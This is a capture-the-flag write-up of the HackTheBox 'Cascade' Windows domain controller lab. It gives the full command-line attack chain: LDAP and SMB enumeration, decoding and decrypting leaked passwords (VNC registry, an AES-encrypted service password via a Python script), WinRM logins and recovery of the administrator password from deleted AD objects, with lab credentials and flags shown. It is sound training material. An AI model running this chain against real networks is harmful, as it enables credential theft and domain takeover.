Post

HackTheBox Cascade

Writeup for HackTheBox Cascade

Posted
By Edwin Tok
17 min read
HackTheBox Cascade

Machine Synopsis

Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP anonymous binds are enabled, and enumeration yields the password for user r.thompson, which gives access to a TightVNC registry backup. The backup is decrypted to gain the password for s.smith. This user has access to a .NET executable, which after decompilation and source code analysis reveals the password for the ArkSvc account. This account belongs to the AD Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user accounts is found to contain a hardcoded password, which can be reused to login as the primary domain administrator. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

❯ nmap -p- --min-rate 10000 10.10.10.182

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown

❯ nmap -p 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 -sC -sV 10.10.10.182

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-11 02:10:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-11T02:11:05
|_  start_date: 2025-02-11T02:07:26
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -16m59s

Add the domain to the /etc/hosts file.

1

❯ echo -e '10.10.10.182\t\tcascade.local' | sudo tee -a /etc/hosts

Use enum4linux to enumerate the SMB service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

❯ enum4linux -a cascade.local
...
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
...
Group: Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group: AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\s.smith
Group: IT' (RID: 1113) has member: CASCADE\r.thompson
Group: HR' (RID: 1115) has member: CASCADE\s.hickson
Group: Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group: Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group: Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
...

Lets enumerate the LDAP service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

❯ ldapsearch -H ldap://10.10.10.182 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

❯ ldapsearch -x -b "dc=cascade,dc=local" -H ldap://cascade.local "(objectClass=*)" > ldapresult.txt

❯ cat ldapresult.txt | grep
...
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132247339091081169
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
...

It seems like there is an interesting cascadeLegacyPwd information leaked for the user Ryan.

1
2

❯ echo "clk0bjVldmE=" | base64 -d
rY4n5eva

Exploitation

Using Ryan credentials, we can enumerate the SMB shares.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

❯ smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva
[*] Detected 1 hosts serving SMB                                                 
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.182:445	Name: cascade.local       	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	Audit$                                            	NO ACCESS	
	C$                                                	NO ACCESS	Default share
	Data                                              	READ ONLY	
	IPC$                                              	NO ACCESS	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	print$                                            	READ ONLY	Printer Drivers
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections 

❯ smbclient //10.10.10.182/Data -U r.thompson%rY4n5eva
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 27 11:27:34 2020
  ..                                  D        0  Mon Jan 27 11:27:34 2020
  Contractors                         D        0  Mon Jan 13 09:45:11 2020
  Finance                             D        0  Mon Jan 13 09:45:06 2020
  IT                                  D        0  Wed Jan 29 02:04:51 2020
  Production                          D        0  Mon Jan 13 09:45:18 2020
  Temps                               D        0  Mon Jan 13 09:45:15 2020

		6553343 blocks of size 4096. 1625212 blocks available

smb: \> cd IT\"Email Archives"\
smb: \IT\Email Archives\> ls
  .                                   D        0  Wed Jan 29 02:00:30 2020
  ..                                  D        0  Wed Jan 29 02:00:30 2020
  Meeting_Notes_June_2018.html       An     2522  Wed Jan 29 02:00:12 2020

		6553343 blocks of size 4096. 1625205 blocks available
smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html 

smb: \> cd IT\Temp\s.smith\
smb: \IT\Temp\s.smith\> ls
  .                                   D        0  Wed Jan 29 04:00:01 2020
  ..                                  D        0  Wed Jan 29 04:00:01 2020
  VNC Install.reg                     A     2680  Wed Jan 29 03:27:44 2020

		6553343 blocks of size 4096. 1625463 blocks available
smb: \IT\Temp\s.smith\> get "VNC Install.reg"

There were 2 interesting files found. 1 .html file and another .reg file.

Lets view the contents of these 2 files.

meeting_notes_html

From the meeting notes, we can observe a username TempAdmin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

❯ cat VNC\ Install.reg
��Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""

It seems like there is an encrypted password in the .reg file.

Googling for decrypt vnc reg passwords brings us to this GitHub repository.

Lets try to decrypt the password found.

1
2
3
4
5
6
7
8
9
10
11
12
13

❯ git clone https://github.com/jeroennijhof/vncpwd
❯ cd vncpwd
❯ ls
LICENSE  Makefile  README  d3des.c  d3des.h  vncpwd.c
❯ make
gcc -Wall -g -o vncpwd vncpwd.c d3des.c
❯ ls
LICENSE  Makefile  README  d3des.c  d3des.h  vncpwd  vncpwd.c
❯ ./vncpwd
Usage: vncpwd <password file>
❯ echo '6bcf2a4b6e5aca0f' | xxd -r -p > vnc_password
❯ ./vncpwd vnc_password
Password: sT333ve2

Nice, we found the password pass. Now we can login to winrm as s.smith.

1
2
3
4

❯ evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2
*Evil-WinRM* PS C:\Users\s.smith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
2b1b9344a129337e8f0aa1d6048dd135

Privilege Escalation

Enumerating around, we find that there is another user arksvc.

1
2
3
4
5
6
7
8

*Evil-WinRM* PS C:\Users\s.smith\Desktop> cd C:\Users
*Evil-WinRM* PS C:\Users> dir
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/25/2020  11:17 AM                Administrator
d-----        1/28/2020  11:37 PM                arksvc
d-r---        7/14/2009   5:57 AM                Public
d-----        1/15/2020  10:22 PM                s.smith

We also observe that s.smith belongs to the Audit Share which allows us to access //cascade.local/Audit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

*Evil-WinRM* PS C:\Users> net user s.smith
User name                    s.smith
Full Name                    Steve Smith
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/28/2020 7:58:05 PM
Password expires             Never
Password changeable          1/28/2020 7:58:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 MapAuditDrive.vbs
User profile
Home directory
Last logon                   1/28/2020 11:26:39 PM

Logon hours allowed          All

Local Group Memberships      *Audit Share          *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users> cd C:\
*Evil-WinRM* PS C:\> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/9/2020   8:14 PM                inetpub
d-----        7/14/2009   4:20 AM                PerfLogs
d-r---        1/28/2020   7:27 PM                Program Files
d-r---         2/4/2021   4:24 PM                Program Files (x86)
d-----        1/15/2020   9:38 PM                Shares
d-r---        1/28/2020  11:37 PM                Users
d-----         2/4/2021   4:32 PM                Windows

*Evil-WinRM* PS C:\> cd Shares
*Evil-WinRM* PS C:\Shares> ls
Access to the path 'C:\Shares' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\Shares:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

*Evil-WinRM* PS C:\Shares> cd Audit
*Evil-WinRM* PS C:\Shares\Audit> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/28/2020   9:40 PM                DB
d-----        1/26/2020  10:25 PM                x64
d-----        1/26/2020  10:25 PM                x86
-a----        1/28/2020   9:46 PM          13312 CascAudit.exe
-a----        1/29/2020   6:00 PM          12288 CascCrypto.dll
-a----        1/28/2020  11:29 PM             45 RunAudit.bat
-a----       10/27/2019   6:38 AM         363520 System.Data.SQLite.dll
-a----       10/27/2019   6:38 AM         186880 System.Data.SQLite.EF6.dll

There seems to be an interesting CascAudit.exe and CascCrypto.dll. Further enumeration also shows an interesting Audit.db file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

*Evil-WinRM* PS C:\Shares\Audit> download CascAudit.exe
Info: Downloading C:\Shares\Audit\CascAudit.exe to CascAudit.exe
Info: Download successful!

*Evil-WinRM* PS C:\Shares\Audit> download CascCrypto.dll
Info: Downloading C:\Shares\Audit\CascCrypto.dll to CascCrypto.dll
Info: Download successful!

*Evil-WinRM* PS C:\Shares\Audit> cd DB
*Evil-WinRM* PS C:\Shares\Audit\DB> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/28/2020   9:39 PM          24576 Audit.db


*Evil-WinRM* PS C:\Shares\Audit\DB> download Audit.db           
Info: Downloading C:\Shares\Audit\DB\Audit.db to Audit.db
Info: Download successful!

1
2

❯ file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60

Lets read the .db file for any interesting information.

❯ sqlite3 Audit.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.

sqlite> .tables
DeletedUserAudit  Ldap              Misc            

sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

sqlite> select * from Misc;

Or we can just dump the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

  ❯ sqlite3 Audit.db .dump > Audit.dmp
  ❯ cat Audit.dmp
  PRAGMA foreign_keys=OFF;
  BEGIN TRANSACTION;
  CREATE TABLE IF NOT EXISTS "Ldap" (
  	"Id"	INTEGER PRIMARY KEY AUTOINCREMENT,
  	"uname"	TEXT,
  	"pwd"	TEXT,
  	"domain"	TEXT
  );
  INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');
  CREATE TABLE IF NOT EXISTS "Misc" (
  	"Id"	INTEGER PRIMARY KEY AUTOINCREMENT,
  	"Ext1"	TEXT,
  	"Ext2"	TEXT
  );
  CREATE TABLE IF NOT EXISTS "DeletedUserAudit" (
  	"Id"	INTEGER PRIMARY KEY AUTOINCREMENT,
  	"Username"	TEXT,
  	"Name"	TEXT,
  	"DistinguishedName"	TEXT
  );
  INSERT INTO DeletedUserAudit VALUES(6,'test',replace('Test\nDEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d','\n',char(10)),'CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local');
  INSERT INTO DeletedUserAudit VALUES(7,'deleted',replace('deleted guy\nDEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef','\n',char(10)),'CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local');
  INSERT INTO DeletedUserAudit VALUES(9,'TempAdmin',replace('TempAdmin\nDEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a','\n',char(10)),'CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local');
  DELETE FROM sqlite_sequence;
  INSERT INTO sqlite_sequence VALUES('Ldap',2);
  INSERT INTO sqlite_sequence VALUES('DeletedUserAudit',10);
  COMMIT;

According to the .db file, ArkSvc has the following encrypted password BQO5l5Kj9MdErXx6Q6AGOw==.

Lets check out the .exe file.

1
2

❯ file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

We can analyze this CascAudit.exe file using dnSpy.

There is a decryption key c4scadek3y654321 in plaintext.

dnSpy_decrypt_key

It seems to be opening a sqlite database and then decrypting the password.

We can set a breakpoint at line 53 where sqliteConnection.Close();.

Debug –> Start Debugging –> Set the Arguments to Audit.db file –> Hit OK

Once the program hits the breakpoint, we should be able to observe the password. However, I’m not sure why my dnSpy could not debug the .exe file.

Alternatively, we can decrypt the password by analyzing the CascCrypto file.

dnSpy_casc_crypto

Given that we know the different parameters used to encrypt the AES, we can easily decrypt it using CyberChef.

Alternative method to decrypt password using Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

  ❯ cat decrypt.py
  from Crypto.Cipher import AES
  from Crypto.Util.Padding import unpad
  import base64
  
  def decrypt_aes(key, iv, ciphertext):
      # Convert key and iv from string to bytes if they are ASCII characters
      key = key.encode('utf-8')  # Convert key to bytes
      iv = iv.encode('utf-8')    # Convert IV to bytes
      
      # Create a new AES cipher object with the provided key, IV, and CBC mode
      cipher = AES.new(key, AES.MODE_CBC, iv)
      
      # Decrypt the ciphertext and unpad it
      decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size)
      
      # Return the decrypted text
      return decrypted_data.decode('utf-8')
  
  # Example values (replace with your actual values)
  key = "c4scadek3y654321"  # 16-byte key for AES-128
  iv = "1tdyjCbY1Ix49842"    # 16-byte IV
  encrypted_password = "BQO5l5Kj9MdErXx6Q6AGOw=="  # Base64-encoded ciphertext
  ciphertext = base64.b64decode(encrypted_password)  # Decode from base64
  
  # Decrypt the ciphertext
  decrypted_text = decrypt_aes(key, iv, ciphertext)
  print(f"Decrypted password: {decrypted_text}")

This password decrypted is w3lc0meFr31nd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

❯ evil-winrm -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182
*Evil-WinRM* PS C:\Users\arksvc\Documents> 
*Evil-WinRM* PS C:\Users\arksvc\Documents> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 4:18:20 PM
Password expires             Never
Password changeable          1/9/2020 4:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/29/2020 9:05:40 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

We notice that arksvc belongs to the AD Recycle Bin group which grants users the permission to read deleted users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

 *Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
 ...
 CanonicalName                   : cascade.local/Deleted Objects/User
                                   DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
 CN                              : User
                                   DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
 Created                         : 1/26/2020 2:34:31 AM
 createTimeStamp                 : 1/26/2020 2:34:31 AM
 Deleted                         : True
 Description                     :
 DisplayName                     :
 DistinguishedName               : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
 dSCorePropagationData           : {1/1/1601 12:00:00 AM}
 instanceType                    : 4
 isDeleted                       : True
 LastKnownParent                 : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
 Modified                        : 1/26/2020 2:40:52 AM
 modifyTimeStamp                 : 1/26/2020 2:40:52 AM
 msDS-LastKnownRDN               : User
 Name                            : User
                                   DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
 nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
 ObjectCategory                  :
 ObjectClass                     : container
 ObjectGUID                      : 746385f2-e3a0-4252-b83a-5a206da0ed88
 ProtectedFromAccidentalDeletion : False
 sDRightsEffective               : 0
 showInAdvancedViewOnly          : True
 uSNChanged                      : 196700
 uSNCreated                      : 196690
 whenChanged                     : 1/26/2020 2:40:52 AM
 whenCreated                     : 1/26/2020 2:34:31 AM
 
 accountExpires                  : 9223372036854775807
 badPasswordTime                 : 0
 badPwdCount                     : 0
 CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                   DEL:f0cc344d-31e0-4866-bceb-a842791ca059
 cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
 CN                              : TempAdmin
                                   DEL:f0cc344d-31e0-4866-bceb-a842791ca059
 codePage                        : 0
 countryCode                     : 0
 Created                         : 1/27/2020 3:23:08 AM
 createTimeStamp                 : 1/27/2020 3:23:08 AM
 Deleted                         : True
 Description                     :
 DisplayName                     : TempAdmin
 DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
 dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
 givenName                       : TempAdmin
 instanceType                    : 4
 isDeleted                       : True
 LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
 lastLogoff                      : 0
 lastLogon                       : 0
 logonCount                      : 0
 Modified                        : 1/27/2020 3:24:34 AM
 modifyTimeStamp                 : 1/27/2020 3:24:34 AM
 msDS-LastKnownRDN               : TempAdmin
 Name                            : TempAdmin
                                   DEL:f0cc344d-31e0-4866-bceb-a842791ca059
 nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
 ObjectCategory                  :
 ObjectClass                     : user
 ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
 objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
 primaryGroupID                  : 513
 ProtectedFromAccidentalDeletion : False
 pwdLastSet                      : 132245689883479503
 sAMAccountName                  : TempAdmin
 sDRightsEffective               : 0
 userAccountControl              : 66048
 userPrincipalName               : TempAdmin@cascade.local
 uSNChanged                      : 237705
 uSNCreated                      : 237695
 whenChanged                     : 1/27/2020 3:24:34 AM
 whenCreated                     : 1/27/2020 3:23:08 AM

We notice that there is a cascadeLegacyPwd key that has an encrypted password YmFDVDNyMWFOMDBkbGVz for TempAdmin.

1
2

❯ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles

It turns out that this password belongs to the Administrator!

1
2
3

❯ nxc winrm 10.10.10.182 -u administrator -p baCT3r1aN00dles
WINRM       10.10.10.182    5985   CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 (name:CASC-DC1) (domain:cascade.local)
WINRM       10.10.10.182    5985   CASC-DC1         [+] cascade.local\administrator:baCT3r1aN00dles (Pwn3d!)

Lets login as Administrator!

1
2
3
4

❯ evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
ed59d0fa574dfc2fb561949e0ca3a94d
HackTheBox
windows
This post is licensed under CC BY 4.0 by the author.